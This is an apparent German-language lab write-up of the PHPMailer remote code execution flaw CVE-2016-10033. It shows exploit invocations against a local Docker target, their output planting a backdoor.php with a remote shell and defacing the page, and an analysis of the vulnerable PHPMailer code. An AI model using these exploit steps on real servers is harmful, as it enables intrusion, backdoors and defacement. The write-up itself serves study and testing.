
Um das CTFS.me-Problem zu lösen
PHPMailer ist die weltweit beliebteste Transportklasse mit geschätzten 9 Millionen Nutzern weltweit. Die Downloads gehen täglich in signifikantem Tempo weiter. Wird von vielen Open-Source-Projekten verwendet: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! und viele mehr.
PHPMailer vor Version 5.2.18 leidet unter einer Sicherheitslücke, die zu einer Remote Code Execution (RCE) führen kann. Die Funktion mailSend im isMail-Transport in PHPMailer erlaubt es Angreifern, wenn die Eigenschaft Sender nicht gesetzt ist, möglicherweise zusätzliche Parameter an den mail-Befehl zu übergeben und dadurch beliebigen Code über ein " (Backslash-Anführungszeichen) in einer manipulierten From-Adresse auszuführen.
Um eine verwundbare Umgebung für Ihren Test einzurichten, benötigen Sie Docker und führen Sie einfach den folgenden Befehl aus:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
Dadurch wird eine verwundbare Webanwendung auf Ihrem Host auf Port 8080 gestartet.

Um dieses Ziel auszunutzen, führen Sie einfach aus:
./exploit host:port
Wenn Sie dieses verwundbare Image verwenden, können Sie einfach ausführen:
./exploit localhost:8080
Nach der Ausnutzung wird eine Datei namens backdoor.php im Stammverzeichnis des Webverzeichnisses gespeichert. Der Exploit öffnet eine Shell, über die Sie Befehle an die Backdoor senden können:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Und das war’s, Sie haben Ihre Shell. Es gibt einen weiteren Exploit, der einen anderen Anwendungsfall veranschaulicht.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
Und wenn Sie die Seite erneut besuchen, sehen Sie Folgendes:

Vor diesem Commit in class.phpmailer.php gibt es in einem bestimmten Szenario keinen Filter für Sonderzeichen in der E-Mail-Adresse des Absenders. Diese Schwachstelle kann zu einer Remote Code Execution über die mail-Funktion hier führen.
Bei der Analyse des Codes gibt es keinen Filter in der Funktion mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender wird direkt an die Variable $params angehängt, die in der Funktion validateAddress() gefiltert wurde. Da diese jedoch die RFC-3696-Spezifikation verwendet, erlaubt sie bestimmte Zeichen, die Probleme verursachen. In diesem Fall Anführungszeichen:
In addition to quoting using the backslash character, conventional double-quote characters may be used to surround strings. For example
"Abc@def"@example.com
"Fred Bloggs"@example.com
are alternate forms of the first two examples above. These quoted forms are rarely recommended, and are uncommon in practice, but, as discussed above, must be supported by applications that are processing email addresses. In particular, the quoted forms often appear in the context of addresses associated with transitions from other systems and contexts; those transitional requirements do still arise and, since a system that accepts a user-provided email address cannot "know" whether that address is associated with a legacy system, the address forms must be accepted and passed into the email environment.
Sie können die gesamte RFC hier lesen, wenn Sie möchten. Wenn die PHP-Version älter als 5.2.0 ist und PCRE nicht installiert ist, wird die Variable $patternselect in validateAddress() auf noregex gesetzt. Dadurch kann die Eingabe jede Regex-Überprüfung umgehen. Sie durchläuft nur eine kleine Überprüfung:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Dann geht der Codefluss zur Funktion mailPassthru(), die, wenn sie im safe_mode läuft, nicht für diese Schwachstelle anfällig ist, wie der folgende Code zeigt:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Wenn sie jedoch nicht im safe_mode läuft, wird unser spezieller Parameter an mail() übergeben und, wenn wir Glück haben, wird unsere Datei, die enthält, was auch immer wir wollen, dort geschrieben, wo wir es haben möchten.
Die Ausnutzung der PHP mail()-Funktion ist nichts Neues, aber sie ist immer noch aktuell und wird weiterhin verwendet. Um zu erklären, wie es funktioniert, schauen wir uns an, wie die mail()-Funktion definiert ist:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Es gibt verschiedene Ausnutzungsmethoden für unterschiedliche Ergebnisse; wir konzentrieren uns auf die Ausnutzung des 5. Parameters, um eine Remote Code Execution (RCE) zu erreichen. Der Parameter $additional_parameters wird verwendet, um zusätzliche Flags als Kommandozeilenoptionen an das Programm zu übergeben, das zum Senden der E-Mail konfiguriert ist. Diese Konfiguration wird durch die Variable sendmail_path definiert.
Ein Sicherheitshinweis aus der offiziellen PHP-Dokumentation:
The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmiail option.
This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.